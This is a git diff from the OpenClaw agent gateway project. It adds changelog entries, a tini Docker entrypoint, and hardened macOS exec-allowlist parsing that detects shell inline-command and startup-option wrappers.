diff --git a/.gitignore b/.gitignore index 7d420cdcc0e..f99a22c1091 100644 --- a/.gitignore +++ b/.gitignore @@ -95,6 +95,10 @@ docs/internal/ tmp/ IDENTITY.md USER.md +# Exception: oc-path real-world test fixtures need to be tracked even +# though the bare names match the local-untracked rule above. +!src/oc-path/tests/fixtures/real/IDENTITY.md +!src/oc-path/tests/fixtures/real/USER.md *.tgz *.tar.gz *.zip diff --git a/CHANGELOG.md b/CHANGELOG.md index 1f53b098d89..ecd99ab70a9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,10 +6,18 @@ Docs: https://docs.openclaw.ai ### Changes +- Docker: run the runtime image under `tini` so long-lived containers reap orphaned child processes and forward signals correctly. (#77885) Thanks @VintageAyu. +- Google/Gemini: normalize retired `google/gemini-3-pro-preview` and `google-gemini-cli/gemini-3-pro-preview` selections to `google/gemini-3.1-pro-preview` before they are written to model config. +- Amazon Bedrock: support `serviceTier` parameter for Bedrock models, configurable via `agents.defaults.params.serviceTier` or per-model in `agents.defaults.models`. Valid values: `default`, `flex`, `priority`, `reserved`. (#64512) Thanks @mobilinkd. - Control UI: read the Quick Settings exec policy badge from `tools.exec.security` instead of the non-schema `agents.defaults.exec.security` path, so configured `full`/`deny` values render accurately. Fixes #78311. Thanks @FriedBack. - Control UI/usage: add transcript-backed historical lineage rollups for rotated logical sessions, with current-instance vs historical-lineage scope controls and long-range presets so usage history stays visible after restarts and updates. Fixes #50701. Thanks @dev-gideon-llc and @BunsDev. - Agents/failover: harden state-aware lane suspension by persisting quota resume transitions, restoring configured lane concurrency, preserving non-quota failure reasons, and exporting model failover events through diagnostics OTLP. Thanks @BunsDev. - Channels/streaming: make progress draft labels scroll away with other progress lines, render structured tool rows as compact emoji/title/details, show web-search queries from provider-native argument shapes, and skip empty Discord apply-patch starts until a patch summary exists. (#79146) +- Workspace/oc-path: add the `oc://` addressing substrate (`src/oc-path/`) — a universal, kind-dispatched path scheme for addressing leaves and nodes inside markdown, jsonc, jsonl, and yaml workspace files, with `parseOcPath`/`formatOcPath`, per-kind `parseXxx`/`emitXxx`, universal `resolveOcPath`/`setOcPath`/`findOcPaths` verbs, the `__OPENCLAW_REDACTED__` sentinel emit guard, and the new `openclaw path resolve|find|set|validate|emit` CLI for shell-level inspection and surgical edits. Implements #78051. (#78678) Thanks @giodl73-repo. +- Runtime/performance: avoid full-array sorting while auto-selecting providers, resolving supported thinking levels, picking node last-seen timestamps, and extracting Codex usage-limit messages. Thanks @shakkernerd. +- Plugins/doctor: avoid full-array sorting while selecting ClawHub search/archive results and bounded dreaming doctor entries. Thanks @shakkernerd. +- Agents/compaction: keep contributor diagnostics to a bounded top-three selection without sorting the full history. Thanks @shakkernerd. +- Sessions/UI: avoid full-array sorting while selecting ACPX leases, Google Meet calendar events, and latest chat sessions. Thanks @shakkernerd. - Telegram: preserve the channel-specific 10-option poll cap in the unified outbound adapter so over-limit polls are rejected before send. (#78762) Thanks @obviyus. - Slack: route handled top-level channel turns in implicit-conversation channels to thread-scoped sessions when Slack reply threading is enabled, keeping the root turn and later thread replies on one OpenClaw session. (#78522) Thanks @zeroth-blip. - Telegram: re-probe the primary fetch transport after repeated sticky fallback success so transient IPv4 or pinned-IP fallback promotion can recover without a gateway restart. Fixes #77088. (#77157) Thanks @MkDev11. @@ -31,10 +39,12 @@ Docs: https://docs.openclaw.ai - Discord/streaming: default Discord replies to progress draft previews so tool/work activity appears in one edited Discord message unless `channels.discord.streaming.mode` is set to `off`. - OpenAI: support `openai/chat-latest` as an explicit direct API-key model override for trying the moving ChatGPT Instant API alias without changing the stable default model. - OpenAI/realtime: default realtime voice to `gpt-realtime-2`, use the GA Realtime WebSocket session shape for backend OpenAI bridges, and cover backend, WebRTC, Google Live, and Gateway relay paths in the live Talk smoke. (#79130) +- Update/Windows: spawn the post-core-update child process with `stdio:"pipe"` on Windows so PowerShell/CMD console handles are not inherited, preventing the terminal from hanging after `openclaw update` completes. Fixes #78445. (#78483) Thanks @Beandon13. - Plugins/install: add `npm-pack:` installs so local npm pack artifacts run through the same managed npm-root install, lockfile verification, dependency scan, and install-record path as registry npm plugins. - Channels/plugins: show configured official external channels as missing-plugin status rows and send errors with exact install/doctor repair commands after raw package-manager upgrades leave Feishu or WhatsApp uninstalled. Fixes #78702 and #78593. Thanks @MarkMa84 and @mkupiainen. - Codex app-server: disarm the short post-tool completion watchdog after current-turn activity, expose `appServer.turnCompletionIdleTimeoutMs`, and include raw assistant item context in idle-timeout diagnostics so status-only post-tool stalls stop failing as idle. Fixes #77984. Thanks @roseware-dev and @rubencu. - Plugin skills/Windows: publish plugin-provided skill directories as junctions on Windows so standard users without Developer Mode can register plugin skills without symlink EPERM failures. Fixes #77958. (#77971) Thanks @hclsys and @jarro. +- Shell env/Windows: hide the login-shell environment probe child window so gateway startup and shell-env refreshes do not flash a console on Windows. Fixes #78159. (#78266) Thanks @BradGroux. - MS Teams: surface blocked Bot Framework egress by logging JWKS fetch network failures and adding a Bot Connector send hint for transport-level reply failures. Fixes #77674. (#78081) Thanks @Beandon13. - Gateway/sessions: fast-path already-qualified model refs while building session-list rows so `openclaw sessions` and Control UI session lists avoid heavyweight model resolution on large stores. (#77902) Thanks @ragesaq. - Contributor PRs: remind external contributors to redact private information like IP addresses, API keys, phone numbers, and non-public endpoints from real behavior proof. Thanks @pashpashpash. @@ -166,6 +176,7 @@ Docs: https://docs.openclaw.ai - Config/Nix: keep startup-derived plugin enablement, gateway auth tokens, control UI origins, and owner-display secrets runtime-only instead of rewriting `openclaw.json`; in Nix mode, config writers, mutating `openclaw update`, plugin lifecycle mutators, and doctor repair/token-generation now refuse with agent-first nix-openclaw guidance. (#78047) Thanks @joshp123. - Agents/context engine: invalidate cached assembled context views when source history shrinks or assembly fails, preventing stale pre-reset history from being reused. Fixes #77968. (#78163) Thanks @brokemac79 and @ChrisBot2026. - Plugin SDK: add a generic `api.runtime.llm.complete` host completion helper with runtime-derived caller attribution, config-gated model/agent overrides, session-bound context-engine access, request-scoped config, audit metadata, and normalized usage attribution. (#64294) Thanks @DaevMithran. +- Control UI/exec approvals: highlight parsed shell command fragments that may deserve extra review in approval prompts. (#77153) Thanks @jesse-merhi. ### Breaking @@ -173,11 +184,25 @@ Docs: https://docs.openclaw.ai ### Fixes +- Agents/compaction: keep the recent tail after manual `/compact` when Pi returns an empty or no-op compaction summary, preventing blank checkpoints from replacing the live context. +- fix(discord): gate user allowlist name resolution [AI]. (#79002) Thanks @pgondhi987. +- fix(msteams): gate startup user allowlist resolution [AI]. (#79003) Thanks @pgondhi987. +- Harden macOS shell wrapper allowlist parsing [AI]. (#78518) Thanks @pgondhi987. +- Doctor/OpenAI: stop pinning migrated `openai-codex/*` routes to the Codex runtime so mixed-provider agents keep automatic PI routing for MiniMax, Anthropic, and other non-OpenAI model switches. - Gateway/macOS: `openclaw gateway stop` now uses `launchctl bootout` by default instead of unconditionally calling `launchctl disable`, so KeepAlive auto-recovery still works after unexpected crashes; use the new `--disable` flag to opt into the persistent-disable behavior when a manual stop should survive reboots. Fixes #77934. Thanks @bmoran1022. - Gateway/macOS: `repairLaunchAgentBootstrap` no longer kickstarts an already-running LaunchAgent, preventing unnecessary service restarts and session disconnects when repair runs against a healthy gateway. Fixes #77428. Thanks @ramitrkar-hash. - Gateway/macOS: `openclaw gateway stop --disable` now persists the LaunchAgent disable bit even after a previous bootout left the service not loaded, keeping the explicit stay-down path reliable. (#78412) Thanks @wdeveloper16. +- CLI/status: keep lean `openclaw status --json` off manifest-backed channel discovery so configured-channel checks do not repeatedly rescan plugin metadata. Fixes #79129. - Control UI/chat: hide retired and non-public Google Gemini model IDs from chat model catalogs and route the bare `gemini-3-pro` alias to Gemini 3.1 Pro Preview instead of the shut-down Gemini 3 Pro Preview. Thanks @BunsDev. - CLI/install: refuse state-mutating OpenClaw CLI runs as root by default, keep an explicit `OPENCLAW_ALLOW_ROOT=1` escape hatch for intentional root/container use, and update DigitalOcean setup guidance to run OpenClaw as a non-root user. Fixes #67478. Thanks @Jerry-Xin and @natechicago. +- Auto-reply/media: resolve `scp` from `PATH` when staging sandbox media so nonstandard OpenSSH installs can copy remote attachments. +- Agents/PI: route PI-native OpenAI-compatible default streams through OpenClaw boundary-aware transports so local-compatible model runs keep API-key injection and transport policy. +- Gateway/media: require authenticated owner or admin context for managed outgoing image bytes instead of trusting requester-session headers. +- Doctor/gateway: avoid duplicate Node runtime warnings when the daemon install plan already selected a supported Node runtime. +- Gateway/nodes: ignore malformed non-string capability entries from live nodes instead of throwing while listing the node catalog. +- Gateway/pairing: preserve deliberately narrowed role-token scopes when approving device scope upgrades instead of regranting the whole approved baseline. +- Telegram/ACP: keep chat-bound ACP replies durable by delivering final-only ACP output as final text instead of transient Telegram preview blocks. Thanks @shakkernerd. +- Telegram: hydrate replied-to messages as a persisted nearest-first reply chain so agents can see observed parent text, media refs, captions, senders, timestamps, and nested replies instead of guessing from a shallow reply id. - Gateway/watch: leave `OPENCLAW_TRACE_SYNC_IO` disabled by default in `pnpm gateway:watch:raw` so watch mode avoids noisy Node sync-I/O stack traces unless explicitly requested. - Codex app-server: close stdio stdin before force-killing the managed app-server, matching Codex single-client shutdown behavior and avoiding unsettled CLI exits after successful runs. - CLI/Codex: dispose registered agent harnesses during short-lived CLI shutdown so successful Codex-backed `agent --local` runs do not leave app-server child processes alive. @@ -202,6 +227,7 @@ Docs: https://docs.openclaw.ai - Compute plugin callback authorization dynamically [AI]. (#78866) Thanks @pgondhi987. - fix(active-memory): require admin scope for global toggles [AI]. (#78863) Thanks @pgondhi987. - Honor owner enforcement for native commands [AI]. (#78864) Thanks @pgondhi987. +- Gateway/auth: allow `gateway.auth.mode: "none"` loopback backend RPC clients to skip device identity only for local non-browser backend connections, restoring subagent spawns and gateway tools without opening remote or browser-origin bypasses. Fixes #75780. Thanks @yozakura-ava. - Tavily: resolve dedicated `tavily_search` and `tavily_extract` tool credentials from the active runtime config snapshot, so `exec` SecretRef-backed API keys do not reach the tools unresolved. (#78610) Thanks @VACInc. - Gateway/sessions: clear cached skills snapshots during `/new` and `sessions.reset` so long-lived channel sessions rebuild the visible skill list after skills change. (#78873) Thanks @Evizero. - fix(auto-reply): gate inline skill tool dispatch [AI]. (#78517) Thanks @pgondhi987. @@ -212,6 +238,7 @@ Docs: https://docs.openclaw.ai - Control UI/chat: wait for an in-flight model dropdown patch before sending the next chat message, so immediate sends use the selected session model instead of racing the previous override. Fixes #54240. - Native chat: decode gateway-provided thinking metadata for the iOS/macOS picker so provider-specific levels such as `adaptive`, `xhigh`, and `max` appear without leaking unsupported default-model options. Thanks @BunsDev. - Agents/compaction: cap summarization output reserve tokens to the selected model's `maxTokens` so 1M-context Anthropic compactions do not request more output than the API permits. Fixes #54383. +- Control UI/login: replace raw connection failures with structured, actionable login guidance for auth, pairing, insecure HTTP, origin, protocol, and transport failures. Thanks @BunsDev. - Agents/tools: fail `exec host=node` before `system.run` when the selected node is known to be disconnected, with an actionable reconnect message instead of a raw node invoke failure. Thanks @BunsDev. - Agents/models: accept legacy `anthropic-cli/*` model refs as Claude CLI runtime refs instead of failing model resolution with `Unknown model`. Thanks @BunsDev. - Agents/tools: keep restrictive-profile tool-section warnings scoped to the configured sections whose tools are still missing from `alsoAllow`, so already re-allowed filesystem tools do not make exec-only fixes look broader than they are. Thanks @BunsDev. @@ -251,6 +278,7 @@ Docs: https://docs.openclaw.ai - Discord/groups: instruct group-chat agents to stay silent when a message is addressed to someone else, replying only when invited or correcting key facts. (#78615) - Discord/groups: tell Discord-channel agents to wrap bare URLs as `` so link previews do not expand into uninvited embeds. (#78614) - Agents/fallback: fail fast on session write-lock timeouts instead of trying fallback models for local file contention. Fixes #66646. Thanks @sallyom. +- Browser/SSRF: stop closing user-owned Chrome tabs when a read-only operation (snapshot/screenshot/interactions) is rejected by the SSRF guard — only OpenClaw-initiated navigations now close on policy denial. Thanks @scotthuang. - Telegram/Codex: generate DM topic labels with Codex-compatible simple-completion requests so auto-created private topics can be renamed instead of staying `New Chat`. - Plugins/runtime fetch: drop third-party symbol metadata from plain request header dictionaries before passing them into native `fetch` or `Headers`, so SDK and guarded/proxy fetch paths do not reject otherwise valid plugin requests. Fixes #77846. Thanks @shakkernerd. - Web fetch: bound guarded dispatcher cleanup after request timeouts so timed-out fetches return tool errors instead of leaving Gateway tool lanes active. (#78439) Thanks @obviyus. @@ -309,6 +337,7 @@ Docs: https://docs.openclaw.ai - Plugins/update: keep installed official npm and ClawHub plugins such as Codex, Discord, WhatsApp, and diagnostics plugins synced during host updates even when disabled or previously exact-pinned, while preserving third-party plugin pins. Thanks @vincentkoc. - Doctor/status: warn when `OPENCLAW_GATEWAY_TOKEN` would shadow a different active `gateway.auth.token` source for local CLI commands, while avoiding false positives when config points at the same env token. Fixes #74271. Thanks @yelog. - Gateway/HTTP: avoid loading managed outgoing-image media handlers for unrelated requests, so disabled OpenAI-compatible routes return 404 without waiting on lazy media sidecars. Thanks @vincentkoc. +- Plugins: dispatch cached descriptor-backed tools by the resolved runtime tool name for unnamed factories, fixing multi-tool plugins whose shared manifest contracts exposed sibling tools but failed at execution. Fixes #78671. Thanks @zanni098. - Gateway/OpenAI-compatible: send the assistant role SSE chunk as soon as streaming chat-completion headers are accepted, so cold agent setup cannot leave `/v1/chat/completions` clients with a bodyless 200 response until their idle timeout fires. - Agents/media: avoid direct generated-media completion fallback while the announce-agent run is still pending, so async video and music completions do not duplicate raw media messages. (#77754) - WebChat/Codex media: stage Codex app-server generated local images into managed media before Gateway display, so Codex-home image paths no longer hit `LocalMediaAccessError` while keeping Codex home out of the display allowlist. Thanks @frankekn. @@ -325,7 +354,7 @@ Docs: https://docs.openclaw.ai - CLI/status: show the selected agent runtime/harness in `openclaw status` session rows so terminal status matches the `/status` runtime line. Thanks @vincentkoc. - CLI/sessions: prune old unreferenced transcript, compaction checkpoint, and trajectory artifacts during normal `sessions cleanup`, so gateway restart or crash orphans do not accumulate indefinitely outside `sessions.json`. Fixes #77608. Thanks @slideshow-dingo. -- Doctor/Codex: repair legacy `openai-codex/*` routes in primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel overrides, and stale session pins to canonical `openai/*`, selecting `agentRuntime.id: "codex"` only when the Codex plugin is installed, enabled, contributes the `codex` harness, and has usable OAuth; otherwise select `agentRuntime.id: "pi"`. Thanks @vincentkoc. +- Doctor/Codex: repair legacy `openai-codex/*` routes to canonical `openai/*`, keep OpenAI agent turns on Codex by default, ignore stale whole-agent/session runtime pins, preserve explicit provider/model runtime policy, and migrate legacy runtime model refs to model-scoped runtime entries. Thanks @vincentkoc. - Video generation: wait up to 20 minutes for slow fal/MiniMax queue-backed jobs, stop forwarding unsupported Google Veo generated-audio options, and normalize MiniMax `720P` requests to its supported `768P` resolution with the usual override warning/details instead of failing fallback. - Video generation: accept provider-specific aspect-ratio and resolution hints at the tool boundary, normalize `720P` to MiniMax's supported `768P`, and stop sending Google `generateAudio` on Gemini video requests so provider fallback can recover from model-specific parameter differences. Thanks @vincentkoc. - Channels/durable delivery: preserve channel-specific final reply semantics when using durable sends, including Telegram selected quotes and silent error replies plus WhatsApp message-sending cancellations. @@ -607,6 +636,8 @@ Docs: https://docs.openclaw.ai - Channels/iMessage: surface the silent group-allowlist drop at default log level by emitting a one-time `warn` per account at monitor startup when `channels.imessage.groupPolicy: "allowlist"` is set without a `channels.imessage.groups` block, plus a one-time `warn` per `chat_id` when the runtime gate drops a specific group, naming the exact `channels.imessage.groups[...]` key to add to allow it. Fixes #78749. (#79190) Thanks @omarshahine. - WhatsApp: stop Gateway-originated outbound echoes from advancing inbound activity in `openclaw channels status`, so outbound self-sends no longer look like handled inbound messages. Fixes #79056. (#79057) Thanks @ai-hpc and @bittoby. - Gateway/nodes: preserve the live node registry session and invoke ownership when an older same-node WebSocket closes after reconnecting. (#78351) Thanks @samzong. +- Browser/downloads: route explicit and managed browser download output directories through `fs-safe` validation before staging final files, so symlinked output roots are rejected before writes. (#78780) Thanks @jesse-merhi. +- Agents/PI: skip the idle wait during aborted embedded-run cleanup, so stopped or timed-out runs clear pending tool state and release the session lock promptly. (#74919) Thanks @medns. ## 2026.5.3-1 diff --git a/Dockerfile b/Dockerfile index 3e9213bb882..cc411a8a2f2 100644 --- a/Dockerfile +++ b/Dockerfile @@ -160,7 +160,7 @@ RUN --mount=type=cache,id=openclaw-bookworm-apt-cache,target=/var/cache/apt,shar --mount=type=cache,id=openclaw-bookworm-apt-lists,target=/var/lib/apt,sharing=locked \ apt-get update && \ DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \ - ca-certificates procps hostname curl git lsof openssl python3 && \ + ca-certificates procps hostname curl git lsof openssl python3 tini && \ update-ca-certificates RUN chown node:node /app @@ -287,4 +287,5 @@ USER node # For external access from host/ingress, override bind to "lan" and set auth. HEALTHCHECK --interval=3m --timeout=10s --start-period=15s --retries=3 \ CMD node -e "fetch('http://127.0.0.1:18789/healthz').then((r)=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))" +ENTRYPOINT ["tini", "-s", "--"] CMD ["node", "openclaw.mjs", "gateway", "--allow-unconfigured"] diff --git a/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift b/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift index e39db84534f..d358082258c 100644 --- a/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift +++ b/apps/macos/Sources/OpenClaw/ExecApprovalEvaluation.swift @@ -43,7 +43,8 @@ enum ExecApprovalEvaluator { let allowAlwaysPatterns = ExecCommandResolution.resolveAllowAlwaysPatterns( command: command, cwd: cwd, - env: env) + env: env, + rawCommand: allowlistRawCommand) let allowlistMatches = security == .allowlist ? ExecAllowlistMatcher.matchAll(entries: approvals.allowlist, resolutions: allowlistResolutions) : [] diff --git a/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift b/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift index dff2d59cfec..df2562aed7b 100644 --- a/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift +++ b/apps/macos/Sources/OpenClaw/ExecCommandResolution.swift @@ -27,7 +27,7 @@ struct ExecCommandResolution { { // Allowlist resolution must follow actual argv execution for wrappers. // `rawCommand` is caller-supplied display text and may be canonicalized. - let shell = ExecShellWrapperParser.extract(command: command, rawCommand: nil) + let shell = ExecShellWrapperParser.extractForAllowlist(command: command, rawCommand: rawCommand) if shell.isWrapper { // Fail closed when env modifiers precede a shell wrapper. This mirrors // system-run binding behavior where such invocations must stay bound to @@ -68,7 +68,8 @@ struct ExecCommandResolution { static func resolveAllowAlwaysPatterns( command: [String], cwd: String?, - env: [String: String]?) -> [String] + env: [String: String]?, + rawCommand: String? = nil) -> [String] { var patterns: [String] = [] var seen = Set() @@ -76,6 +77,7 @@ struct ExecCommandResolution { command: command, cwd: cwd, env: env, + rawCommand: rawCommand, depth: 0, patterns: &patterns, seen: &seen) @@ -152,6 +154,7 @@ struct ExecCommandResolution { command: [String], cwd: String?, env: [String: String]?, + rawCommand: String?, depth: Int, patterns: inout [String], seen: inout Set) @@ -162,13 +165,19 @@ struct ExecCommandResolution { if let token0 = command.first?.trimmingCharacters(in: .whitespacesAndNewlines), ExecCommandToken.basenameLower(token0) == "env", - let envUnwrapped = ExecEnvInvocationUnwrapper.unwrap(command), - !envUnwrapped.isEmpty + let envUnwrapped = ExecEnvInvocationUnwrapper.unwrapWithMetadata(command), + !envUnwrapped.command.isEmpty { + if envUnwrapped.usesModifiers, + self.isAllowlistShellWrapper(command: envUnwrapped.command, rawCommand: rawCommand) + { + return + } self.collectAllowAlwaysPatterns( - command: envUnwrapped, + command: envUnwrapped.command, cwd: cwd, env: env, + rawCommand: rawCommand, depth: depth + 1, patterns: &patterns, seen: &seen) @@ -180,13 +189,14 @@ struct ExecCommandResolution { command: shellMultiplexer, cwd: cwd, env: env, + rawCommand: rawCommand, depth: depth + 1, patterns: &patterns, seen: &seen) return } - let shell = ExecShellWrapperParser.extract(command: command, rawCommand: nil) + let shell = ExecShellWrapperParser.extractForAllowlist(command: command, rawCommand: rawCommand) if shell.isWrapper { guard let shellCommand = shell.command, let segments = self.splitShellCommandChain(shellCommand) @@ -202,6 +212,7 @@ struct ExecCommandResolution { command: tokens, cwd: cwd, env: env, + rawCommand: nil, depth: depth + 1, patterns: &patterns, seen: &seen) @@ -218,6 +229,10 @@ struct ExecCommandResolution { patterns.append(pattern) } + private static func isAllowlistShellWrapper(command: [String], rawCommand: String?) -> Bool { + ExecShellWrapperParser.extractForAllowlist(command: command, rawCommand: rawCommand).isWrapper + } + private static func unwrapShellMultiplexerInvocation(_ argv: [String]) -> [String]? { guard let token0 = argv.first?.trimmingCharacters(in: .whitespacesAndNewlines), !token0.isEmpty else { return nil diff --git a/apps/macos/Sources/OpenClaw/ExecInlineCommandParser.swift b/apps/macos/Sources/OpenClaw/ExecInlineCommandParser.swift new file mode 100644 index 00000000000..a2a0cf15dda --- /dev/null +++ b/apps/macos/Sources/OpenClaw/ExecInlineCommandParser.swift @@ -0,0 +1,278 @@ +import Foundation + +enum ExecInlineCommandParser { + struct Match { + let tokenIndex: Int + let inlineCommand: String? + let valueTokenOffset: Int + + init(tokenIndex: Int, inlineCommand: String?, valueTokenOffset: Int = 1) { + self.tokenIndex = tokenIndex + self.inlineCommand = inlineCommand + self.valueTokenOffset = valueTokenOffset + } + } + + private struct CombinedCommandFlag { + let attachedCommand: String? + let separateValueCount: Int + } + + private static let posixShellOptionsWithSeparateValues = Set([ + "--init-file", + "--rcfile", + "-O", + "-o", + "+O", + "+o", + ]) + + static func hasPosixInteractiveStartupBeforeInlineCommand( + _ argv: [String], + flags: Set) -> Bool + { + var idx = 1 + var sawInteractiveMode = false + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if self.isPosixInteractiveModeOption(token) { + sawInteractiveMode = true + } + if flags.contains(token) || self.isCombinedCommandFlag(token) { + return sawInteractiveMode + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + let combinedValueCount = self.combinedSeparateValueOptionCount(token) + if combinedValueCount > 0 { + idx += 1 + combinedValueCount + continue + } + if self.consumesSeparateValue(token) { + idx += 2 + continue + } + idx += 1 + } + return false + } + + static func hasPosixLoginStartupBeforeInlineCommand( + _ argv: [String], + flags: Set) -> Bool + { + var idx = 1 + var sawLoginMode = false + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if token == "--login" || self.isPosixShortOption(token, containing: "l") { + sawLoginMode = true + } + if flags.contains(token) || self.isCombinedCommandFlag(token) { + return sawLoginMode + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + let combinedValueCount = self.combinedSeparateValueOptionCount(token) + if combinedValueCount > 0 { + idx += 1 + combinedValueCount + continue + } + if self.consumesSeparateValue(token) { + idx += 2 + continue + } + idx += 1 + } + return false + } + + static func hasFishInitCommandOption(_ argv: [String]) -> Bool { + var idx = 1 + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if token == "-C" || token == "--init-command" { + return true + } + if token.hasPrefix("-C"), token != "-C" { + return true + } + if token.hasPrefix("--init-command=") { + return true + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + idx += 1 + } + return false + } + + static func hasFishAttachedCommandOption(_ argv: [String]) -> Bool { + var idx = 1 + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + return false + } + if token.hasPrefix("-c"), token != "-c" { + return true + } + if !token.hasPrefix("-"), !token.hasPrefix("+") { + return false + } + idx += 1 + } + return false + } + + static func findMatch( + _ argv: [String], + flags: Set, + allowCombinedC: Bool) -> Match? + { + var idx = 1 + while idx < argv.count { + let token = argv[idx].trimmingCharacters(in: .whitespacesAndNewlines) + if token.isEmpty { + idx += 1 + continue + } + if token == "--" { + break + } + let comparableToken = allowCombinedC ? token : token.lowercased() + if flags.contains(comparableToken) { + return Match(tokenIndex: idx, inlineCommand: nil) + } + if allowCombinedC, let combined = self.parseCombinedCommandFlag(token) { + if let attachedCommand = combined.attachedCommand { + return Match(tokenIndex: idx, inlineCommand: attachedCommand, valueTokenOffset: 0) + } + return Match( + tokenIndex: idx, + inlineCommand: nil, + valueTokenOffset: 1 + combined.separateValueCount) + } + if allowCombinedC, !token.hasPrefix("-"), !token.hasPrefix("+") { + break + } + let combinedValueCount = allowCombinedC ? self.combinedSeparateValueOptionCount(token) : 0 + if combinedValueCount > 0 { + idx += 1 + combinedValueCount + continue + } + if allowCombinedC, self.consumesSeparateValue(token) { + idx += 2 + continue + } + idx += 1 + } + return nil + } + + static func extractInlineCommand( + _ argv: [String], + flags: Set, + allowCombinedC: Bool) -> String? + { + guard let match = self.findMatch(argv, flags: flags, allowCombinedC: allowCombinedC) else { + return nil + } + if let inlineCommand = match.inlineCommand { + return inlineCommand + } + let nextIndex = match.tokenIndex + match.valueTokenOffset + let payload = nextIndex < argv.count + ? argv[nextIndex].trimmingCharacters(in: .whitespacesAndNewlines) + : "" + return payload.isEmpty ? nil : payload + } + + private static func isCombinedCommandFlag(_ token: String) -> Bool { + self.parseCombinedCommandFlag(token) != nil + } + + private static func parseCombinedCommandFlag(_ token: String) -> CombinedCommandFlag? { + let chars = Array(token) + guard chars.count >= 2, chars[0] == "-", chars[1] != "-" else { + return nil + } + let optionChars = Array(chars.dropFirst()) + guard let commandFlagIndex = optionChars.firstIndex(of: "c") else { + return nil + } + if optionChars.contains("-") { + return nil + } + let suffix = String(optionChars.dropFirst(commandFlagIndex + 1)) + if !suffix.isEmpty, + suffix.range(of: #"[^A-Za-z]"#, options: .regularExpression) != nil + { + return CombinedCommandFlag(attachedCommand: suffix, separateValueCount: 0) + } + let separateValueCount = optionChars.reduce(0) { count, char in + count + ((char == "o" || char == "O") ? 1 : 0) + } + return CombinedCommandFlag(attachedCommand: nil, separateValueCount: separateValueCount) + } + + private static func combinedSeparateValueOptionCount(_ token: String) -> Int { + let chars = Array(token) + guard chars.count >= 2, chars[0] == "-" || chars[0] == "+", chars[1] != "-" else { + return 0 + } + if chars.dropFirst().contains("-") { + return 0 + } + return chars.dropFirst().reduce(0) { count, char in + count + ((char == "o" || char == "O") ? 1 : 0) + } + } + + private static func consumesSeparateValue(_ token: String) -> Bool { + self.posixShellOptionsWithSeparateValues.contains(token) + } + + private static func isPosixInteractiveModeOption(_ token: String) -> Bool { + token == "--interactive" || self.isPosixShortOption(token, containing: "i") + } + + private static func isPosixShortOption(_ token: String, containing option: Character) -> Bool { + let chars = Array(token) + guard chars.count >= 2, chars[0] == "-", chars[1] != "-" else { + return false + } + if chars.dropFirst().contains("-") { + return false + } + return chars.dropFirst().contains(option) + } +} diff --git a/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift b/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift index 06851a7d065..0533f2fc3d4 100644 --- a/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift +++ b/apps/macos/Sources/OpenClaw/ExecShellWrapperParser.swift @@ -6,9 +6,10 @@ enum ExecShellWrapperParser { let command: String? static let notWrapper = ParsedShellWrapper(isWrapper: false, command: nil) + static let blockedWrapper = ParsedShellWrapper(isWrapper: true, command: nil) } - private enum Kind { + private enum Kind: Equatable { case posix case cmd case powershell @@ -27,14 +28,34 @@ enum ExecShellWrapperParser { WrapperSpec(kind: .cmd, names: ["cmd.exe", "cmd"]), WrapperSpec(kind: .powershell, names: ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]), ] + private static let loginStartupShellNames = Set(["ash", "bash", "dash", "fish", "ksh", "sh", "zsh"]) static func extract(command: [String], rawCommand: String?) -> ParsedShellWrapper { let trimmedRaw = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "" let preferredRaw = trimmedRaw.isEmpty ? nil : trimmedRaw - return self.extract(command: command, preferredRaw: preferredRaw, depth: 0) + return self.extract( + command: command, + preferredRaw: preferredRaw, + failClosedOnStartupWrappers: false, + depth: 0) } - private static func extract(command: [String], preferredRaw: String?, depth: Int) -> ParsedShellWrapper { + static func extractForAllowlist(command: [String], rawCommand: String?) -> ParsedShellWrapper { + let trimmedRaw = rawCommand?.trimmingCharacters(in: .whitespacesAndNewlines) ?? "" + let preferredRaw = trimmedRaw.isEmpty ? nil : trimmedRaw + return self.extract( + command: command, + preferredRaw: preferredRaw, + failClosedOnStartupWrappers: true, + depth: 0) + } + + private static func extract( + command: [String], + preferredRaw: String?, + failClosedOnStartupWrappers: Bool, + depth: Int) -> ParsedShellWrapper + { guard depth < ExecEnvInvocationUnwrapper.maxWrapperDepth else { return .notWrapper } @@ -47,19 +68,96 @@ enum ExecShellWrapperParser { guard let unwrapped = ExecEnvInvocationUnwrapper.unwrap(command) else { return .notWrapper } - return self.extract(command: unwrapped, preferredRaw: preferredRaw, depth: depth + 1) + return self.extract( + command: unwrapped, + preferredRaw: preferredRaw, + failClosedOnStartupWrappers: failClosedOnStartupWrappers, + depth: depth + 1) } guard let spec = self.wrapperSpecs.first(where: { $0.names.contains(base0) }) else { return .notWrapper } + if spec.kind == .posix, + base0 == "fish", + ExecInlineCommandParser.hasFishAttachedCommandOption(command) + { + return .blockedWrapper + } + let includeLegacyLoginInlineForm = failClosedOnStartupWrappers && + !self.legacyLoginInlinePayloadMatchesRaw( + command: command, + spec: spec, + base0: base0, + preferredRaw: 